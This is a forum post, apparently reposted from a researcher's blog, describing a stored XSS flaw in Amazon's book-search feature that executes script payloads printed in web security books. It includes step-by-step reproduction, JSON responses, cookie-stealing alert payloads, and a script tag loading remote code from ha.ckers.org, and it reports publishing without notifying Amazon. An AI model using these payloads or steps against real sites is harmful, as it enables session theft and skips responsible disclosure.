pyth0n3 Posted December 18, 2010 Report Posted December 18, 2010 There's a remarkable flaw in Amazon's web shop (tested on .de, co.uk, .com): It's a stored XSS vulnerability. So far so, good what's new? — is probably what you're thinking — XSS problems had Amazon and other major companies too in the past."WAHH" revealing Amazon cookies under Vista/IE8 Picture 1: Web Application Hacker's Handbook (a.k.a. WAHH) exploiting Amazon (IE under Vista)This one is different though. Whereas the standard example for a stored XSS vulnerability over an out-of-band channel is a web mailer like OWA using SMTP here this channel for the attack is kind of — err, let's put it this way — unusual: One has to write a book! No, I am serious. This book needs to contain a crafted string so that it bypasses their weak/not existing filters/encodings and of course this book needs to be sold through Amazons shop and last but not least Amazon has to offer the "search in this book" functionality. Prerequisites for experience this vulnerability are not really on the tough side, i.e. it works with a usual browser. I was successful with Chrome 7/8 and Firefox 3.6 (both under Linux) as well as IE 8 (Win 7/Vista): 1. Go to <amazon.tld> (for TLD: see above, I guess every domain should work) 2. Search for "the right" web application security book, see below 3. Click on it (see above: it should be a book which offers to search in the content) 4. If it is the Web Application Hackers Handbook (picture 1) or the German book Sichere Webanwendungen (picture 2) search in the content for ADw ( +ADw- is UTF-7 for < ) 5. Put your mouse over the search result(s), bingo!Book "Sichere Webanwendungen" exploiting Amazon / my FF browser Picture 2: Book Sichere Webanwendungen shows vulnerability @ Amazon (Firefox)Not all search results work, in this example for the German book only the first XSS "flies". More on this below. Note that the second search result of this book has a (double) iframe on p216 with UTF-7 encoding (w/o anydocument.cookie). Unfortunately the PHP script referred by the iframe doesn't exist currently. There's a good chance that this would work otherwise (hey Mario: how 'bout putting the file online? ;-)) It seems that amazon.com doesn't provide any HttpOnly or X-FRAME-OPTIONS in their HTTP headers as of now which would prevent modern browsers revealing their cookie or silently doing tricks more or less hidden in an iframe.Back to the issue: The search requests are submitted via XHR, it's a POST request with the variablequerycontaining the search string. The (gzipped) JSON response contains an array, i.e. page number, search result string, base64 binary string, taking WAHH for example:{"error":{"text":{"args":{"LOGIN_RETURN_ARGS":"asin=0470170778&query=adw"},"key":"PLEASE_SIGN_IN_TEXT"},"title":{"key":"PLEASE_SIGN_IN_TITLE"},"reftag":"rdr_bar_login"},"totalResults":1,"results": [[447, "Seite 414", "following examples show some representations of the string <script>alert (document .cookie) </script> in nonstandard encodings: UTF-7: +ADw-script+AD4-alert (document", "pKvfaCQHPYP1mAOMsqHbIMO5DiEek6tcJ793LfEO3psFk9WN56CtZQ=="]]}Displayed in the browser is only a part of the search result (I left the HTML bold/<b> on purpose as it is also shown in the browser):"Seite 414 .cookie) </script> in nonstandard encodings: UTF-7: +ADw..."see also picture 3 in blue. So basically the whole thing is not a filter evasion by using UTF-7 encoding (for this to happen controlling the meta char-set header would be necessary, Amazon delivered in my research I did so far everything iso-8859-15 encoded). That it is not a filter evasion by using UTF-7 becomes more clear if you look deeper into the flaw the German book Sichere Webanwendungen revealed: If you search here forADwthree search results are being returned. The first result though is shown as analert(2):Seite 215</span> ...+ADw-script+AD4-alert(2)+ADw-/script+AD4-...Moving the mouse over the first result (see picture 2 at right hand side) however pops up analert(1)dialog box. This is the preceding string from the JSON response which is the real payload:"216,"Seite 215","haben viele Intrusion Detection Systeme und Web Application Firewalls in letzter Zeit in die- sen F\u00e4llen versagt. <html> <body> <script>alert(1)</script> +ADw-script+AD4-alert(2)+ADw-/script+AD4- </body> </html> Listing 6.4 UTF-7 XSS im IE dank MIME Type Guessing 215","gdpIXdcHzw2/enkjgvEFzkiLrG+OK3jgKBVIfvgBbsDEW0HO2gJauA=="]This explains which of the both JavaScript popup works and that the whole thing is not a UTF-7 bypass issue as I first assumed stumbling over this phenomenon. The ADw string in the examples above was just helpful locating the right payload in a book and positioning the JSON response to the right window. The response is the basis for the "exploit", see variabletooltipTextin picture 3 (green rectangle). Here the JavaScript from each examples is not filtered or encoded in any way, it's just passed 1:1 totooltipTextwhich is then interpreted in the browser if you move the mouse over the search result and the CSS tool-tip fires off. A good example I found during my research in the book XSS attacks: There (picture 4) you see in the bottom half the string referred bytooltipTextwhich is then interpreted in the browser! Speaking of it: Search forownedin the latter book and move your mouse over the search result on page 84. Another one: search stringfire, result at page 133. Or:Netscape, p152. Unfortunately RSnake's server delivers pages with a X-FRAME-OPTIONS header. So it looks like the iframe is there, but it doesn't include his HTML if you use a modern browser. Same page, same effect:query_string. (Further) payloads from WAHH: * embedded : p412 * actually : p417 * successful : p404 (two scripts fire!)Cool would have been to watch the payload on page 398 of WAHH — either the image or the error message (while "wiresharking"):<img src="http://192.168.1.1/hm_icon.gif" onerror="notNetgear()">but I wasn't able to position the window correctly. Also the "copying the clipboard hack" at page 398 I couldn't get to fly.Amazon stallowned Picture 5: Amazon stallowned with XSS Attack, see also the URLThe coolest thing... or the weirdest — depends on your perspective — is the fact that the Stallowned hack from RSnake works! Wanna see it? Search in XSS attack for1000. The culprit is on page 28. Move your mouse there and it looks like Amazon is owned, you immediately get the picture at the right hand side (div overlay also setting the HTML title). What happened? There is on page 28 basically a listing containing one of RSnake's code snippets:Results 1 - 1- of 1000 for<b>"><script src=http://ha.ckers.org/s.js></script></b>on chrispederic.com.As you can see that piece of code made it into the tool-tip, that's it, bingo!Bottom lineWith a little bit of luck and time it should definitely be possible to find more payloads in web security books, well... until Amazon fixes this. I didn't try very hard though I own WAHH and the German book which makes it easier (XSS attack is on my list). If you have any luck in these or other books, I am curious on any reports (see discuss link below). The hint again: In order to shift the search result window into the right position one has provide a search string slightly before the payload, in rare cases also after the payload works.Normally it would make sense to notify the vendor or the shop first before publishing it. But as I consider a) the impact to the security of Amazon's shop minimal and the attack vector is kind of ... err.. tedious and thus it is not really a low hanging fruit for evildoers I guess Amazon can live with the fact that I publish this without prior notifying them. ;-)Nope, I didn't try whether stored customer comments work with any payload. But as this is a standard hack and amazon has been around for more than a while it would surprise me if this would not have been discovered by now. I tried Google books though and it doesn't seem to have this flaw.Source:Research: Remarkable 2nd order XSS @ Amazon or How to hack Amazon with a book Quote
